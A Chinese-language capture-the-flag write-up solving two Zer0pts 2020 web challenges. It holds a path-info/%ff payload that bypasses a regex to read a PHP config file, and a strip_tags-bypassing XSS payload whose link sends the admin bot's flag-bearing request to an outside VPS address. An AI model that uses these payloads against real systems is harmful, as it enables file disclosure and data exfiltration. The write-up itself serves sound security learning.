Zer0pts 2020 CTF-Web题解

Zer0pts 2020 CTF-Web题解

恰逢了一次XCTF高校联赛,做了几道题感觉有点套娃,晚上的时候看了下Zer0pts,小记一下其中的两道有趣的PHP题目

Can you guess it?

比赛的warmup,可能国内外对签到理解不同…

<?php
include 'config.php'; // FLAG is defined in config.php

if (preg_match('/config\.php\/*$/i', $_SERVER['PHP_SELF'])) {
  exit("I don't know what you are thinking, but I won't let you read it :)");
}

if (isset($_GET['source'])) {
  highlight_file(basename($_SERVER['PHP_SELF']));
  exit();
}

$secret = bin2hex(random_bytes(64));
if (isset($_POST['guess'])) {
  $guess = (string) $_POST['guess'];
  if (hash_equals($secret, $guess)) {
    $message = 'Congratulations! The flag is: ' . $FLAG;
  } else {
    $message = 'Wrong.';
  }
}
?>

绕过guess是不可能的,hash_equals也是很安全的hash比较函数。只能从$_SERVER['PHP_SELF']下手。此时想要读config.php,你就会发现正则是个很棘手的问题。

我们知道basename('index.php/config.php////')的输出结果为config.php,但是这种写法会被正则的*/匹配到。

所以思路就是构造一个空字节过正则,还要让basename取出来的值去掉空字节。理所当然的想到%00,可是这道题中%00会400,这里我卡了有一会,甚至去看了一下basename的opcode(虽然看不懂..)。转念一想ff应该也可以。果不其然成功了,payload如下

http://3.112.201.75:8003/index.php/config.php/%ff//?source

image_1e2soonsmp1jtul7c5bgu38319.png-235.3kB

MusicBlog

这题真让我学习到了,原来国外的XSS还能这么玩??

题目逻辑很简单,上传一个[[url]]会被加载到<audio>标签并解析到页面,输入的内容经过一次strip_tags处理。

image_1e2uh8e2j2ap140e1f4ld0lkn7p.png-66.3kB

没有过滤其他内容,可以在<audio>中插入任意内容,但是受CSP-nonce的限制

header("Content-Security-Policy: default-src 'self'; object-src 'none'; script-src 'nonce-${nonce}' 'strict-dynamic'; base-uri 'none'; trusted-types");
header('X-Frame-Options: DENY');
header('X-XSS-Protection: 1; mode=block');

这题还给出了XSS-BOT如下:管理员可以看到你分享的<audio>并为你点赞
image_1e2uhdgka1tfs11m1ln01muld8h16.png-127.1kB

我们看到UA头就是flag。如果这个点赞的url是vps地址,岂不是就能收到flag了?这里有点类似于侧信道。现在我们要做的就是构造一个<a>标签且href可控,并且值得一提的是,<a>标签的跳转不受CSP限制。

这时候的trick就在strip_tags函数上了,我们看php-src披露过这样一个bug。
image_1e2uhofr21768u851jtl9bv3tn1j.png-28.1kB

卧槽,我们都知道浏览器有自动补全标签的能力,并且/会被当作空格。所以这尼玛的函数还有什么用呢..反正过滤规则已经跟不上浏览器的解析规则了
image_1e2uhu2v810fc1l7ppa4l41mqm20.png-53.5kB

所以构造poc设置id=”like”,等待admin的点赞即可

[["><a/udio href="http://120.79.152.79:8888" id="like]]
not found!